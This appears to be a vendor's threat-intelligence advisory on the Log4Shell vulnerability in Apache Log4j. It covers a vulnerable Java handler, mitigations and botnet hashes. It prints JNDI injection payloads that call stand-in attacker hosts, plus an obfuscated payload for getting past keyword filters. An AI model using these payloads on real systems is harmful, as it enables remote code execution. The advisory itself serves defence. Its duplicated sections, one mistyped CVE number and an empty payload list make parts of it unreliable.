Log4Shell (CVE-2021-44228) Remote Code Execution Vulnerability Actively Exploited in the Wild
Posted on
December 13, 2021
11:48 pm
Categories: Vulnerability
Summary
The Log4Shell vulnerability, tracked as CVE-2021-4428, has the highest severity of CVSS 10, as it enables unauthenticated remote code execution and is already being exploited in the wild.
Category
Vulnerability Intelligence
Vulnerability Class
Remote Code Execution(Unauthenticated)
CVE ID
CVE-2021-44228
CVSS:3.0 Score
10
TLP
GREEN
Executive Summary
A critical vulnerability (CVE-2021-44228) impacting multiple versions of the logging utility, Apache Log4j 2, was disclosed on 9th December.
This vulnerability affects the open-source logging framework Log4j, versions 2.0 to 2.14.1, used across the verticals. Apache has released the update, Log4j 2.15.0, as a fix for the same.
The Log4Shell vulnerability, tracked as CVE-2021-4428, has the highest severity of CVSS 10, as it enables unauthenticated remote code execution and is already being exploited in the wild.
Threat actors are comparing the vulnerability in Apache Log4j to Eternal Blue
What is Log4j?
Log4j 2 is a Java-based logging library written in Java, used in various open-source libraries and extensively used in major software applications such as Amazon, Apple iCloud, Cisco, Cloudflare, ElasticSearch, Red Hat, Steam, Tesla, Twitter, Minecraft: Java Edition, Tencent QQ, HCL, VMware, Adobe, Atlassian, etc.
Logging shows the state of the system at runtime and captures data and makes it available for analysis at any given time. Popular for being an extremely fast and flexible logging framework, Log4j supports custom log levels. The levels are hierarchical and are as follows: TRACE, DEBUG, INFO, WARN, ERROR, and FATAL. Once a user sets a particular log level, messages will get logged for that level and all the levels above it and none of the log levels below that. For instance, if the log level is set to ERROR, the utility will log messages for levels ERROR and FATAL. Whereas, if the log level is set to INFO, Log4j will log messages for levels INFO, WARN, ERROR, and FATAL.
Vulnerability Analysis
The vulnerability in Log4j was caused due to a misconfiguration in JNDI (Java Naming and Directory Interface). The utility had no restrictions set for accessing LDAP (Lightweight Directory Access Protocol). The attackers could leverage this flaw to their advantage by making a GET request to any endpoint, to which the server responds with a remote Java class file. This remote Java class file when injected into the server, results in Remote Code Execution.
The Java library that does the logging, interprets a string as a command, instead of just writing it to the log. For example, an attacker could use a login page, placing the attack string in the username field where they know it will be logged.
Exploitation Tactics:
Here’s a sample vulnerable code in which the attacker can use the User-Agent header to insert the payload:
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.io.*;
import java.sql.SQLException;
import java.util.*;
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:{}", userAgent);
String response = " < h1 >Hello There, " + userAgent + "!< / h1 >
"; he.sendResponseHeaders(200, response.length()); OutputStream os = he.getResponseBody(); os.write(response.getBytes()); os.close(); } }
Threat actors have not restricted themselves to LDAP protocols. They may also use other protocols like DNS (Domain Name Service), RMI (Remote Method Invocation), LDAPS (Secure LDAP).
For e.g., ${jndi:dns://attacker.server/ext}
Here are other sample payloads:
The attacker's server drops the following 3 ELF (Executable and Linkable Format) files that can be verified by VirusTotal to be a part of the Mirai botnet:
776c341504769aa67af7efc5acc66c338dab5684a8579134d3f23165c7abcc00 x86
8052f5cc4dfa9a8b4f67280a746acbc099319b9391e3b495a27d08fb5f08db81 x86_64
2b794cc70cb33c9b3ae7384157ecb78b54aaddc72f4f9cf90b4a4ce4e6cf8984 x86_g
The following image shows the file hashes:
The following image shows the file hashes:
Risk and Impact
Christmas has arrived early for cybercrooks looking to target millions of unaware victims. Threat actors are actively scanning for affected systems, exploring and discussing multiple attack vectors on popular hacker forums like Raidforums. Multiple attack campaigns are being launched each minute targeting unpatched servers. The incident is being compared to the Eternal Blue exploit leak which occurred in February 2017, which is responsible for the largest cybersecurity incident so far. Threat actors are using the Log4j vulnerability to install cryptocurrency miners, Cobalt Strike, and create botnets. Threat actor groups and APTs are already scouring the internet for vulnerable hosts. For instance, the Log4j vulnerability was used to form Mirai and Mushtik botnets, which were however, flagged by honeypots around the world.The vulnerability is exploited by threat actors to run code on remote servers. This has left popular games like Minecraft exposed to attacks, where the attacker can exploit it just by posting a payload in the chatbox. Other popular services like iCloud, Steam are also listed as vulnerable to this flaw. Triggering the vulnerability in an iPhone is as simple as changing the name of the iPhone.Attackers take advantage of the logged string to initiate attacks on any service that uses Log4j as a logging utility. The attacker simply has to send a malicious code string that could get logged by Log4j version 2.0-2.14.1, to exploit this vulnerability. The exploit enables arbitrary Java code on a server, allowing the attacker to take control. In the above example, the string User-Agent header was used to insert the payload, similarly attackers could consider any logged string as a command.
Business and End-user Impact
The attack vector of this Log4j is extensive, as any project that leverages the Log4j framework is vulnerable to attacks. For instance, AWS and VMware both use Log4j utility to log information and that makes any customer using these services susceptible to Remote Code Execution.A non-exhaustive search for potentially vulnerable products on Shodan, shows that there are at least 1.05 million exposed products that could be vulnerable to this flaw, which also helps us determine the scope of its attack surface. Among the list of countries, India stands at 11th position with more than 16 thousand vulnerable hosts. This could lead to a loss in business and loss of trust among stakeholders.An attacker can potentially take over vulnerable servers by exploiting this vulnerability to install droppers and even use them to initiate ransomware attacks. Based on ongoing research by CloudSEK, the researchers have identified the rise of 79 new ransomware strains during Q2 and Q3 of this year alone, including CovidLocker, BlackMatter, Sabbath, etc. Also, USD 14 billion in ransomware payments have been reported in the year 2021. The ease of exploitation of this particular vulnerability coupled with the enthusiasm of researchers putting out proofs of concept for working exploits and functional WAF rule bypasses for popular service providers has resulted in working exploits landing up in the hands of malicious actors and increased attacks. Our globally deployed honeypots have logged a significant spike in the scanning for the vulnerability and attempts to exploit the same.
Remediation Measures
To address this vulnerability, potential targets could follow these steps:
Users can only update Log4j based on the Java version it runs on. Therefore:
If the Java version is ≥ 8u121, it is possible to mitigate the issue by setting:
com.sun.jndi.rmi.object.trustURLCodebase to false
com.sun.jndi.cosnaming.object.trustURLCodebase to false
Using a Java version below 1.8 and log4j version ≥ 2.10 it is possible to mitigate this issue by
Setting the system property, or
formatMsgNoLookups: true
Setting the JVM parameter, or
JAVA_OPTS = -Dlog4j2.formatMsgNoLookups=true
Removing JndiLookup class from the classpath
zip -q -d log4j-core-*.jar
org/apache/logging/log4j/core/lookup/JndiLookup.class
Please Note: It is advisable to update and patch to the latest version, as these workarounds might cause disruptions in your normal logging activity.
In case, users are unable to update to the latest version, resort to the IMMA Model
Isolate
Minimize
Monitor
Active Defense
Isolate the impacted systems to a vulnerable VLAN and deploy a Proxy Firewall with deep packet inspection to restrict the communication between the rest of the systems. Monitor for irregular patterns, look for unauthorized configuration changes and also look for port/ protocol mismatch in the infrastructure.Please Note: If you're filtering on "ldap", "jndi", or the ${lower:x} keywords, there are bypasses available, a sample payload can be:${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}[//attacker.com/a]}
Indicators Of Compromise
The following indicators of compromise are associated with observed exploitation activity targeting CVE-2021-44228.
Threat actors are using the Log4j vulnerability to install cryptocurrency miners, Cobalt Strike, and create botnets. Threat actor groups and APTs are already scouring the internet for vulnerable hosts. For instance, the Log4j vulnerability was used to form Mirai and Mushtik botnets, which were however, flagged by honeypots around the world.
The vulnerability is exploited by threat actors to run code on remote servers. This has left popular games like Minecraft exposed to attacks, where the attacker can exploit it just by posting a payload in the chatbox. Other popular services like iCloud, Steam are also listed as vulnerable to this flaw. Triggering the vulnerability in an iPhone is as simple as changing the name of the iPhone.
Attackers take advantage of the logged string to initiate attacks on any service that uses Log4j as a logging utility. The attacker simply has to send a malicious code string that could get logged by Log4j version 2.0-2.14.1, to exploit this vulnerability. The exploit enables arbitrary Java code on a server, allowing the attacker to take control. In the above example, the string User-Agent header was used to insert the payload, similarly attackers could consider any logged string as a command.
A non-exhaustive search for potentially vulnerable products on Shodan, shows that there are at least 1.05 million exposed products that could be vulnerable to this flaw, which also helps us determine the scope of its attack surface. Among the list of countries, India stands at 11th position with more than 16 thousand vulnerable hosts. This could lead to a loss in business and loss of trust among stakeholders.
An attacker can potentially take over vulnerable servers by exploiting this vulnerability to install droppers and even use them to initiate ransomware attacks. Based on ongoing research by CloudSEK, the researchers have identified the rise of 79 new ransomware strains during Q2 and Q3 of this year alone, including CovidLocker, BlackMatter, Sabbath, etc. Also, USD 14 billion in ransomware payments have been reported in the year 2021.
The ease of exploitation of this particular vulnerability coupled with the enthusiasm of researchers putting out proofs of concept for working exploits and functional WAF rule bypasses for popular service providers has resulted in working exploits landing up in the hands of malicious actors and increased attacks. Our globally deployed honeypots have logged a significant spike in the scanning for the vulnerability and attempts to exploit the same.